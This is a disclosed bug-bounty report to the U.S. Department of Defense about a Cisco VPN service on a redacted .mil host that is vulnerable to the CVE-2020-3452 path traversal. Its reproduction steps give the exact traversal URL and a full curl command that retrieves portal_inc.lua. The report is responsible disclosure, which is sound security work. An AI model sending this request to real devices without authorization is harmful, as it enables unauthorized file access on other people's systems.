U.S. Dept Of Defense: [██████████.mil] Cisco VPN Service Path Traversal

ID H1:943717
Type hackerone
Reporter arm4nd0
Modified 2020-10-16T19:48:27


Hi team.  


The Cisco VPN Service at ██████.mil is vulnerable to the CVE-2020-3452 vulnerability, which allows path traversing within the web service's file system on the targeted device.


Steps to Reproduce

Make a GET request to: http https://███████.mil/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

cURL command: curl -i -s -k -X $'GET' \ -H $'Host: █████.mil' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://█████.mil/+CSCOE+/logon.html?fcadbadd=1' -H $'DNT: 1' -H $'Connection: close' -H $'Cookie: webvpnlogin=1; webvpnLang=en' -H $'Upgrade-Insecure-Requests: 1' \ -b $'webvpnlogin=1; webvpnLang=en' \ $'https://███.mil/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../'

..and get the content of the portal_inc.lua file. ███████



According to Cisco, this vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files, however, it has a CVE 7.5 (High) score.